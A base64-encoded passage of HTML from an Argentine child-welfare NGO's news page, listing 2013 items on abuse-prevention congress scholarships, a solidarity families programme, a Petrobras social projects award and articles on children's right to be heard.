AgICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iNjAlIj4mbmJzcDs8L3RkPgogICAgICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iMSUiIHZhbGlnbj0idG9wIj48YSBocmVmPSJodHRwOi8vd3d3LnNhbHVkYWN0aXZhLm9yZy5hci9pbmRleC5waHA/aWQ9MTciPjxpbWcgc3JjPSJpbWcvcmVkaXNlbm9fMjEuanBnIiB3aWR0aD0iNTMiIGhlaWdodD0iMjEiIGJvcmRlcj0iMCIgLz48L2E+PGEgaHJlZj0iIyI+PC9hPjwvdGQ+CiAgICAgICAgICAgICAgICAgICAgPHRkIHdpZHRoPSIyMCUiIHZhbGlnbj0idG9wIj48YSBocmVmPSJpbmRleC5waHA/aWQ9MTRfbmV3Jm5vdGE9MzEwIj48aW1nIHNyYz0iaW1nL3JlZGlzZW5vXzIyLmpwZyIgd2lkdGg9Ijc4IiBoZWlnaHQ9IjIxIiBib3JkZXI9IjAiIC8+PC9hPjwvdGQ+CiAgICAgICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgICA8L3RhYmxlPjwvdGQ+CiAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICA8dGQ+Jm5ic3A7PC90ZD4KICAgICAgICAgICAgICAgIDx0ZD4mbmJzcDs8L3RkPgogICAgICAgICAgICAgICAgPHRkPiZuYnNwOzwvdGQ+CiAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICA8dGQgY29sc3Bhbj0iMyIgYmFja2dyb3VuZD0iaW1nL3JlZGlzZW5vXzI2LmpwZyI+PGltZyBzcmM9ImltZy9yZWRpc2Vub18yNi5qcGciIHdpZHRoPSIyIiBoZWlnaHQ9IjIiIC8+PC90ZD4KICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICA8L3RhYmxlPjwvdGQ+CiAgICAgICAgICA8L3RyPgoJCSAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgPHRkPjx0YWJsZSB3aWR0aD0iMTAwJSIgYm9yZGVyPSIwIiBjZWxsc3BhY2luZz0iMCIgY2VsbHBhZGRpbmc9IjAiPgogICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iMTU2IiByb3dzcGFuPSIyIiB2YWxpZ249InRvcCI+CgkJCQkKCQkJCTx0YWJsZSB3aWR0aD0iMzIlIiBib3JkZXI9IjEiIGNlbGxzcGFjaW5nPSIzIiBjZWxscGFkZGluZz0iMCI+CiAgICAgICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgICAgICA8dGQgdmFsaWduPSJ0b3AiPjxpbWcgc3JjPSJzcmMvaW1nX3VwLzE2MTAyMDEzLjAuanBnIiB3aWR0aD0iMTQ2IiAvPjwvdGQ+CiAgICAgICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgICA8L3RhYmxlPgoJCQkJCQkJCTwvdGQ+ICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iMTMiPiZuYnNwOzwvdGQ+CiAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjM4MSIgaGVpZ2h0PSIzMCIgY2xhc3M9InRpdHVsb2hvbWUxIj48c3BhbiBjbGFzcz0iZGVzdGFjYWRvcyI+MTYvMTAvMjAxMzwvc3Bhbj48YnI+U2FsdWQgQWN0aXZhIG90b3JnYSBtZWRpYXMgYmVjYXMgcGFyYSBlbCBJViBDb25ncmVzbyBJbnRlcm5hY2lvbmFsLCBWIE5hY2lvbmFsLCBWSSBSZWdpb25hbCBWaW9sZW5jaWEsIE1hbHRyYXRvIHkgQWJ1c28uPC90ZD4KICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iMTMiIHZhbGlnbj0idG9wIj48aW1nIHNyYz0iaW1nL3JlZGlzZW5vXzAxXzE5LmpwZyIgd2lkdGg9IjciIGhlaWdodD0iNzEiIC8+PC90ZD4KICAgICAgICAgICAgICAgIDx0ZCB2YWxpZ249InRvcCI+PHRhYmxlIHdpZHRoPSIxMDAlIiBib3JkZXI9IjAiIGNlbGxzcGFjaW5nPSIwIiBjZWxscGFkZGluZz0iMCI+CiAgICAgICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgICAgICA8dGQgaGVpZ2h0PSI4NSIgY29sc3Bhbj0iNCIgdmFsaWduPSJ0b3AiIGNsYXNzPSJ0ZXh0b251ZXZvIj48cD4mbmJzcDs8L3A+DQo8cD5TZXImYWFjdXRlO24gb3RvcmdhZGFzIDUwIG1lZGlhcyBiZWNhcywgcXVlZGFuIHBvY2FzISEhIGNvbmRpY2lvbjo8L3A+DQo8cD5QZXJ0ZW5lY2VyIGFsIGFtYml0byBwdWJsaWNvIG8gYSBPTkcsIHNlIGNvbnNpZGVyYSB0YW1iaWVuIGxhIGRpc3RhbmNpYSBhbCBsdWdhciBkZWwgZXZlbnRvISEhIGVzIG11eSBzZW5jaWxsbywgc29sbyBkZWJlcyBlbnZpYXIgdW4gZW1haWwuLi4uPC9wPjwvdGQ+CiAgICAgICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjE5JSI+PGEgaHJlZj0iaW5kZXgucGhwP2lkPTE0X25ldyZub3RhPTMwOSI+PGltZyBzcmM9ImltZy9yZWRpc2Vub18xOS5qcGciIHdpZHRoPSI3NSIgaGVpZ2h0PSI0MSIgYm9yZGVyPSIwIiAvPjwvYT48L3RkPgogICAgICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iNjAlIj4mbmJzcDs8L3RkPgogICAgICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iMSUiIHZhbGlnbj0idG9wIj48YSBocmVmPSJodHRwOi8vd3d3LnNhbHVkYWN0aXZhLm9yZy5hci9pbmRleC5waHA/aWQ9MTciPjxpbWcgc3JjPSJpbWcvcmVkaXNlbm9fMjEuanBnIiB3aWR0aD0iNTMiIGhlaWdodD0iMjEiIGJvcmRlcj0iMCIgLz48L2E+PGEgaHJlZj0iIyI+PC9hPjwvdGQ+CiAgICAgICAgICAgICAgICAgICAgPHRkIHdpZHRoPSIyMCUiIHZhbGlnbj0idG9wIj48YSBocmVmPSJpbmRleC5waHA/aWQ9MTRfbmV3Jm5vdGE9MzA5Ij48aW1nIHNyYz0iaW1nL3JlZGlzZW5vXzIyLmpwZyIgd2lkdGg9Ijc4IiBoZWlnaHQ9IjIxIiBib3JkZXI9IjAiIC8+PC9hPjwvdGQ+CiAgICAgICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgICA8L3RhYmxlPjwvdGQ+CiAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICA8dGQ+Jm5ic3A7PC90ZD4KICAgICAgICAgICAgICAgIDx0ZD4mbmJzcDs8L3RkPgogICAgICAgICAgICAgICAgPHRkPiZuYnNwOzwvdGQ+CiAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICA8dGQgY29sc3Bhbj0iMyIgYmFja2dyb3VuZD0iaW1nL3JlZGlzZW5vXzI2LmpwZyI+PGltZyBzcmM9ImltZy9yZWRpc2Vub18yNi5qcGciIHdpZHRoPSIyIiBoZWlnaHQ9IjIiIC8+PC90ZD4KICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICA8L3RhYmxlPjwvdGQ+CiAgICAgICAgICA8L3RyPgoJCSAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgPHRkPjx0YWJsZSB3aWR0aD0iMTAwJSIgYm9yZGVyPSIwIiBjZWxsc3BhY2luZz0iMCIgY2VsbHBhZGRpbmc9IjAiPgogICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjEzIj4mbmJzcDs8L3RkPgogICAgICAgICAgICAgICAgPHRkIHdpZHRoPSIzODEiIGhlaWdodD0iMzAiIGNsYXNzPSJ0aXR1bG9ob21lMSI+PHNwYW4gY2xhc3M9ImRlc3RhY2Fkb3MiPjI0LzA3LzIwMTM8L3NwYW4+PGJyPk5FQ0VTSVRBTU9TIERFIFNVIFNPTElEQVJJREFEIEhBQ0lBIExPUyBOSdFPUyBZIE5J0UFTISEhPC90ZD4KICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iMTMiIHZhbGlnbj0idG9wIj48aW1nIHNyYz0iaW1nL3JlZGlzZW5vXzAxXzE5LmpwZyIgd2lkdGg9IjciIGhlaWdodD0iNzEiIC8+PC90ZD4KICAgICAgICAgICAgICAgIDx0ZCB2YWxpZ249InRvcCI+PHRhYmxlIHdpZHRoPSIxMDAlIiBib3JkZXI9IjAiIGNlbGxzcGFjaW5nPSIwIiBjZWxscGFkZGluZz0iMCI+CiAgICAgICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgICAgICA8dGQgaGVpZ2h0PSI4NSIgY29sc3Bhbj0iNCIgdmFsaWduPSJ0b3AiIGNsYXNzPSJ0ZXh0b251ZXZvIj48cD48c3Ryb25nPjxzcGFuIHN0eWxlPSJ0ZXh0LWRlY29yYXRpb246IHVuZGVybGluZTsiPjxiciAvPjwvc3Bhbj48L3N0cm9uZz48L3A+DQo8cD48c3Ryb25nPjxzcGFuIHN0eWxlPSJ0ZXh0LWRlY29yYXRpb246IHVuZGVybGluZTsiPjxiciAvPjwvc3Bhbj48L3N0cm9uZz48L3A+DQo8cD48c3Ryb25nPjxzcGFuIHN0eWxlPSJ0ZXh0LWRlY29yYXRpb246IHVuZGVybGluZTsiPlBST0dSQU1BIEZBTUlMSUFTIFNPTElEQVJJQVM8L3NwYW4+PC9zdHJvbmc+PC9wPg0KPHA+PHN0cm9uZz5DQU1CSU8gREUgU0VERTwvc3Ryb25nPjwvcD4NCjxwPkxhIGNhcGFjaXRhY2kmb2FjdXRlO24gcGFyYSBsYSBwdWVzdGEgZW4gbWFyY2hhIGRlbCA8c3Ryb25nPlByb2dyYW1hIEZhbWlsaWFzIFNvbGlkYXJpYXM8L3N0cm9uZz4gc2UgcmVhbGl6YXImYWFjdXRlOyBlbiBsYSBsb2NhbGlkYWQgZGUgPHN0cm9uZz5OYXZhcnJvPC9zdHJvbmc+IHBhcmEgdG9kbyBlbCBjb3JyZWRvciBkZSBsYSBSdXRhIDQwLjwvcD4NCjxwPkluaWNpbyA8c3Ryb25nPk1pJmVhY3V0ZTtyY29sZXMgMjggZGUgYWdvc3RvIGEgbGFzIDE0IGhvcmFzLiZuYnNwOzwvc3Ryb25nPjwvcD4NCjxwPlNlZGU6IDxzdHJvbmc+U2FsJm9hY3V0ZTtuIE11bmljaXBhbCBlbiBsYSBjYWxsZSAxMDcgZXNxdWluYSAyMiAtIE5hdmFycm88L3N0cm9uZz48L3A+PC90ZD4KICAgICAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iMTklIj48YSBocmVmPSJpbmRleC5waHA/aWQ9MTRfbmV3Jm5vdGE9MzA4Ij48aW1nIHNyYz0iaW1nL3JlZGlzZW5vXzE5LmpwZyIgd2lkdGg9Ijc1IiBoZWlnaHQ9IjQxIiBib3JkZXI9IjAiIC8+PC9hPjwvdGQ+CiAgICAgICAgICAgICAgICAgICAgPHRkIHdpZHRoPSI2MCUiPiZuYnNwOzwvdGQ+CiAgICAgICAgICAgICAgICAgICAgPHRkIHdpZHRoPSIxJSIgdmFsaWduPSJ0b3AiPjxhIGhyZWY9Imh0dHA6Ly93d3cuc2FsdWRhY3RpdmEub3JnLmFyL2luZGV4LnBocD9pZD0xNyI+PGltZyBzcmM9ImltZy9yZWRpc2Vub18yMS5qcGciIHdpZHRoPSI1MyIgaGVpZ2h0PSIyMSIgYm9yZGVyPSIwIiAvPjwvYT48YSBocmVmPSIjIj48L2E+PC90ZD4KICAgICAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjIwJSIgdmFsaWduPSJ0b3AiPjxhIGhyZWY9ImluZGV4LnBocD9pZD0xNF9uZXcmbm90YT0zMDgiPjxpbWcgc3JjPSJpbWcvcmVkaXNlbm9fMjIuanBnIiB3aWR0aD0iNzgiIGhlaWdodD0iMjEiIGJvcmRlcj0iMCIgLz48L2E+PC90ZD4KICAgICAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICAgIDwvdGFibGU+PC90ZD4KICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgIDx0ZD4mbmJzcDs8L3RkPgogICAgICAgICAgICAgICAgPHRkPiZuYnNwOzwvdGQ+CiAgICAgICAgICAgICAgICA8dGQ+Jm5ic3A7PC90ZD4KICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgIDx0ZCBjb2xzcGFuPSIzIiBiYWNrZ3JvdW5kPSJpbWcvcmVkaXNlbm9fMjYuanBnIj48aW1nIHNyYz0iaW1nL3JlZGlzZW5vXzI2LmpwZyIgd2lkdGg9IjIiIGhlaWdodD0iMiIgLz48L3RkPgogICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgIDwvdGFibGU+PC90ZD4KICAgICAgICAgIDwvdHI+CgkJICAgICAgICAgICAgPHRyPgogICAgICAgICAgICA8dGQ+PHRhYmxlIHdpZHRoPSIxMDAlIiBib3JkZXI9IjAiIGNlbGxzcGFjaW5nPSIwIiBjZWxscGFkZGluZz0iMCI+CiAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgPHRkIHdpZHRoPSIxNTYiIHJvd3NwYW49IjIiIHZhbGlnbj0idG9wIj4KCQkJCQoJCQkJPHRhYmxlIHdpZHRoPSIzMiUiIGJvcmRlcj0iMSIgY2VsbHNwYWNpbmc9IjMiIGNlbGxwYWRkaW5nPSIwIj4KICAgICAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgICAgIDx0ZCB2YWxpZ249InRvcCI+PGltZyBzcmM9InNyYy9pbWdfdXAvMTIwNzIwMTMuMC5qcGciIHdpZHRoPSIxNDYiIC8+PC90ZD4KICAgICAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICAgIDwvdGFibGU+CgkJCQkJCQkJPC90ZD4gICAgICAgICAgICAgICAgPHRkIHdpZHRoPSIxMyI+Jm5ic3A7PC90ZD4KICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iMzgxIiBoZWlnaHQ9IjMwIiBjbGFzcz0idGl0dWxvaG9tZTEiPjxzcGFuIGNsYXNzPSJkZXN0YWNhZG9zIj4xMi8wNy8yMDEzPC9zcGFuPjxicj5TQUxVRCBBQ1RJVkEgaGEgc2lkbyBlbGVnaWRhIHBvciBzZWd1bmRhIHZleiBjb25zZWN1dGl2YSBjb21vIHVubyBkZSBsb3MgZ2FuYWRvcmVzIGRlbCBDdWFydG8gQ29uY3Vyc28gZGUgUHJveWVjdG9zIFNvY2lhbGVzIGRlIFBldHJvYnJhczwvdGQ+CiAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjEzIiB2YWxpZ249InRvcCI+PGltZyBzcmM9ImltZy9yZWRpc2Vub18wMV8xOS5qcGciIHdpZHRoPSI3IiBoZWlnaHQ9IjcxIiAvPjwvdGQ+CiAgICAgICAgICAgICAgICA8dGQgdmFsaWduPSJ0b3AiPjx0YWJsZSB3aWR0aD0iMTAwJSIgYm9yZGVyPSIwIiBjZWxsc3BhY2luZz0iMCIgY2VsbHBhZGRpbmc9IjAiPgogICAgICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICAgICAgPHRkIGhlaWdodD0iODUiIGNvbHNwYW49IjQiIHZhbGlnbj0idG9wIiBjbGFzcz0idGV4dG9udWV2byI+PHA+RW4gZWwgbWFyY28gZGVsIEN1YXJ0byBDb25jdXJzbyBkZSBQcm95ZWN0b3MgU29jaWFsZXMgZGUgUGV0cm9icmFzLCANCm51ZXN0cmEgSW5zdGl0dWNpJm9hY3V0ZTtuIFNBTFVEIEFDVElWQSBoYSBzaWRvIGVsZWdpZGEgcG9yIHNlZ3VuZGEgdmV6IA0KY29uc2VjdXRpdmEgY29tbyB1bm8gZGUgbG9zIGdhbmFkb3JlcyBkZSBkaWNobyBjb25jdXJzby48YnIgLz5FbiBlc3RhIA0KZWRpY2kmb2FjdXRlO24gZWwgcHJveWVjdG8gcXVlIGhhIHNpZG8gZWxlZ2lkbyBlcyBlbCAmbGRxdW87UHJvZ3JhbWEgZGUgRmFtaWxpYXMgDQpTb2xpZGFyaWFzJnJkcXVvOyBzaWVuZG8gc3UgJmFhY3V0ZTtyZWEgZGUgaW1wbGVtZW50YWNpJm9hY3V0ZTtuIGxvcyBNdW5pY2lwaW9zIGRlIE5hdmFycm8sIA0KR3JhbC4gTGFzIEhlcmFzLCBNYXJjb3MgUGF6LCB5IE1lcmxvPC9wPjwvdGQ+CiAgICAgICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjE5JSI+PGEgaHJlZj0iaW5kZXgucGhwP2lkPTE0X25ldyZub3RhPTMwNyI+PGltZyBzcmM9ImltZy9yZWRpc2Vub18xOS5qcGciIHdpZHRoPSI3NSIgaGVpZ2h0PSI0MSIgYm9yZGVyPSIwIiAvPjwvYT48L3RkPgogICAgICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iNjAlIj4mbmJzcDs8L3RkPgogICAgICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iMSUiIHZhbGlnbj0idG9wIj48YSBocmVmPSJodHRwOi8vd3d3LnNhbHVkYWN0aXZhLm9yZy5hci9pbmRleC5waHA/aWQ9MTciPjxpbWcgc3JjPSJpbWcvcmVkaXNlbm9fMjEuanBnIiB3aWR0aD0iNTMiIGhlaWdodD0iMjEiIGJvcmRlcj0iMCIgLz48L2E+PGEgaHJlZj0iIyI+PC9hPjwvdGQ+CiAgICAgICAgICAgICAgICAgICAgPHRkIHdpZHRoPSIyMCUiIHZhbGlnbj0idG9wIj48YSBocmVmPSJpbmRleC5waHA/aWQ9MTRfbmV3Jm5vdGE9MzA3Ij48aW1nIHNyYz0iaW1nL3JlZGlzZW5vXzIyLmpwZyIgd2lkdGg9Ijc4IiBoZWlnaHQ9IjIxIiBib3JkZXI9IjAiIC8+PC9hPjwvdGQ+CiAgICAgICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgICA8L3RhYmxlPjwvdGQ+CiAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICA8dGQ+Jm5ic3A7PC90ZD4KICAgICAgICAgICAgICAgIDx0ZD4mbmJzcDs8L3RkPgogICAgICAgICAgICAgICAgPHRkPiZuYnNwOzwvdGQ+CiAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICA8dGQgY29sc3Bhbj0iMyIgYmFja2dyb3VuZD0iaW1nL3JlZGlzZW5vXzI2LmpwZyI+PGltZyBzcmM9ImltZy9yZWRpc2Vub18yNi5qcGciIHdpZHRoPSIyIiBoZWlnaHQ9IjIiIC8+PC90ZD4KICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICA8L3RhYmxlPjwvdGQ+CiAgICAgICAgICA8L3RyPgoJCSAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgPHRkPjx0YWJsZSB3aWR0aD0iMTAwJSIgYm9yZGVyPSIwIiBjZWxsc3BhY2luZz0iMCIgY2VsbHBhZGRpbmc9IjAiPgogICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjEzIj4mbmJzcDs8L3RkPgogICAgICAgICAgICAgICAgPHRkIHdpZHRoPSIzODEiIGhlaWdodD0iMzAiIGNsYXNzPSJ0aXR1bG9ob21lMSI+PHNwYW4gY2xhc3M9ImRlc3RhY2Fkb3MiPjAyLzA3LzIwMTM8L3NwYW4+PGJyPk/tciBvIGVzY3VjaGFyPC90ZD4KICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iMTMiIHZhbGlnbj0idG9wIj48aW1nIHNyYz0iaW1nL3JlZGlzZW5vXzAxXzE5LmpwZyIgd2lkdGg9IjciIGhlaWdodD0iNzEiIC8+PC90ZD4KICAgICAgICAgICAgICAgIDx0ZCB2YWxpZ249InRvcCI+PHRhYmxlIHdpZHRoPSIxMDAlIiBib3JkZXI9IjAiIGNlbGxzcGFjaW5nPSIwIiBjZWxscGFkZGluZz0iMCI+CiAgICAgICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgICAgICA8dGQgaGVpZ2h0PSI4NSIgY29sc3Bhbj0iNCIgdmFsaWduPSJ0b3AiIGNsYXNzPSJ0ZXh0b251ZXZvIj48cD5Qb3IgQ2FybG9zIFJvemFuc2tpICo8L3A+DQo8cD5BIGxvIGxhcmdvIGRlIGxvcyBzaWdsb3MsIGxhcyBuaSZudGlsZGU7YXMsIG5pJm50aWxkZTtvcyB5IGFkb2xlc2NlbnRlcyBoYW4gc2lkbyBtYWx0cmF0YWRvcyB5IGFidXNhZG9zIHNpbiBxdWUgYSBsYSBjb211bmlkYWQgbGUgaW50ZXJlc2FyYSBuaSBzaXF1aWVyYSBlc2N1Y2hhcmxvcyBjdWFuZG8gaGFjJmlhY3V0ZTthbiBzYWJlciBkZSBhbGd1bmEgZm9ybWEgbG9zIHN1ZnJpbWllbnRvcyBxdWUgcGFkZWMmaWFjdXRlO2FuLiBFbiAxODc0LCBlbiBFc3RhZG9zIFVuaWRvcywgZnVlIGxhIHByaW1lcmEgdmV6IHF1ZSBlbCBFc3RhZG8gaW50ZXJ2aW5vIGVuIHVuIGNhc28gZGUgbWFsdHJhdG8geSBhYnVzby4uLjwvcD48L3RkPgogICAgICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICAgICAgPHRkIHdpZHRoPSIxOSUiPjxhIGhyZWY9ImluZGV4LnBocD9pZD0xNF9uZXcmbm90YT0zMDYiPjxpbWcgc3JjPSJpbWcvcmVkaXNlbm9fMTkuanBnIiB3aWR0aD0iNzUiIGhlaWdodD0iNDEiIGJvcmRlcj0iMCIgLz48L2E+PC90ZD4KICAgICAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjYwJSI+Jm5ic3A7PC90ZD4KICAgICAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjElIiB2YWxpZ249InRvcCI+PGEgaHJlZj0iaHR0cDovL3d3dy5zYWx1ZGFjdGl2YS5vcmcuYXIvaW5kZXgucGhwP2lkPTE3Ij48aW1nIHNyYz0iaW1nL3JlZGlzZW5vXzIxLmpwZyIgd2lkdGg9IjUzIiBoZWlnaHQ9IjIxIiBib3JkZXI9IjAiIC8+PC9hPjxhIGhyZWY9IiMiPjwvYT48L3RkPgogICAgICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iMjAlIiB2YWxpZ249InRvcCI+PGEgaHJlZj0iaW5kZXgucGhwP2lkPTE0X25ldyZub3RhPTMwNiI+PGltZyBzcmM9ImltZy9yZWRpc2Vub18yMi5qcGciIHdpZHRoPSI3OCIgaGVpZ2h0PSIyMSIgYm9yZGVyPSIwIiAvPjwvYT48L3RkPgogICAgICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICAgICAgPC90YWJsZT48L3RkPgogICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgPHRkPiZuYnNwOzwvdGQ+CiAgICAgICAgICAgICAgICA8dGQ+Jm5ic3A7PC90ZD4KICAgICAgICAgICAgICAgIDx0ZD4mbmJzcDs8L3RkPgogICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgPHRkIGNvbHNwYW49IjMiIGJhY2tncm91bmQ9ImltZy9yZWRpc2Vub18yNi5qcGciPjxpbWcgc3JjPSJpbWcvcmVkaXNlbm9fMjYuanBnIiB3aWR0aD0iMiIgaGVpZ2h0PSIyIiAvPjwvdGQ+CiAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgPC90YWJsZT48L3RkPgogICAgICAgICAgPC90cj4KCQkgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgIDx0ZD48dGFibGUgd2lkdGg9IjEwMCUiIGJvcmRlcj0iMCIgY2VsbHNwYWNpbmc9IjAiIGNlbGxwYWRkaW5nPSIwIj4KICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHRkIHdpZHRoPSIxMyI+Jm5ic3A7PC90ZD4KICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iMzgxIiBoZWlnaHQ9IjMwIiBjbGFzcz0idGl0dWxvaG9tZTEiPjxzcGFuIGNsYXNzPSJkZXN0YWNhZG9zIj4wMi8wNy8yMDEzPC9zcGFuPjxicj5FbCBkZXJlY2hvIGRlIGxvcyBuafFvcyBhIHNlciBlc2N1Y2hhZG9zPC90ZD4KICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iMTMiIHZhbGlnbj0idG9wIj48aW1nIHNyYz0iaW1nL3JlZGlzZW5vXzAxXzE5LmpwZyIgd2lkdGg9IjciIGhlaWdodD0iNzEiIC8+PC90ZD4KICAgICAgICAgICAgICAgIDx0ZCB2YWxpZ249InRvcCI+PHRhYmxlIHdpZHRoPSIxMDAlIiBib3JkZXI9IjAiIGNlbGxzcGFjaW5nPSIwIiBjZWxscGFkZGluZz0iMCI+CiAgICAgICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgICAgICA8dGQgaGVpZ2h0PSI4NSIgY29sc3Bhbj0iNCIgdmFsaWduPSJ0b3AiIGNsYXNzPSJ0ZXh0b251ZXZvIj48cD5VbiBob21icmUgYWN1c2FkbyBkZSBoYWJlciBhYnVzYWRvIGRlIHN1cyBoaWpvcyBoYWImaWFjdXRlO2Egc2lkbyBzb2JyZXNlJmlhY3V0ZTtkbyBkb3MgdmVjZXMgcG9yIGxhIEp1c3RpY2lhLiBQZXJvIGFob3JhLCBsYSBDJmFhY3V0ZTttYXJhIGRlIENhc2FjaSZvYWN1dGU7biByZXZvYyZvYWN1dGU7IGVzYSBkZWNpc2kmb2FjdXRlO24gcG9ycXVlIGVuIGxhIGludmVzdGlnYWNpJm9hY3V0ZTtuIGVsIGp1ZXogbnVuY2EgaGFiJmlhY3V0ZTthIGVzY3VjaGFkbyBhIGxvcyBjaGljb3MuIFkgb3JkZW4mb2FjdXRlOyBxdWUgdGVuZ2EgZW4gY3VlbnRhIGxvIHF1ZSBkaWNlbi48L3A+DQo8cD5Qb3IgTWFyaWFuYSBDYXJiYWphbDwvcD48L3RkPgogICAgICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICAgICAgPHRkIHdpZHRoPSIxOSUiPjxhIGhyZWY9ImluZGV4LnBocD9pZD0xNF9uZXcmbm90YT0zMDUiPjxpbWcgc3JjPSJpbWcvcmVkaXNlbm9fMTkuanBnIiB3aWR0aD0iNzUiIGhlaWdodD0iNDEiIGJvcmRlcj0iMCIgLz48L2E+PC90ZD4KICAgICAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjYwJSI+Jm5ic3A7PC90ZD4KICAgICAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjElIiB2YWxpZ249InRvcCI+PGEgaHJlZj0iaHR0cDovL3d3dy5zYWx1ZGFjdGl2YS5vcmcuYXIvaW5kZXgucGhwP2lkPTE3Ij48aW1nIHNyYz0iaW1nL3JlZGlzZW5vXzIxLmpwZyIgd2lkdGg9IjUzIiBoZWlnaHQ9IjIxIiBib3JkZXI9IjAiIC8+PC9hPjxhIGhyZWY9IiMiPjwvYT48L3RkPgogICAgICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iMjAlIiB2YWxpZ249InRvcCI+PGEgaHJlZj0iaW5kZXgucGhwP2lkPTE0X25ldyZub3RhPTMwNSI+PGltZyBzcmM9ImltZy9yZWRpc2Vub18yMi5qcGciIHdpZHRoPSI3OCIgaGVpZ2h0PSIyMSIgYm9yZGVyPSIwIiAvPjwvYT48L3RkPgogICAgICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICAgICAgPC90YWJsZT48L3RkPgogICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgPHRkPiZuYnNwOzwvdGQ+CiAgICAgICAgICAgICAgICA8dGQ+Jm5ic3A7PC90ZD4KICAgICAgICAgICAgICAgIDx0ZD4mbmJzcDs8L3RkPgogICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgPHRkIGNvbHNwYW49IjMiIGJhY2tncm91bmQ9ImltZy9yZWRpc2Vub18yNi5qcGciPjxpbWcgc3JjPS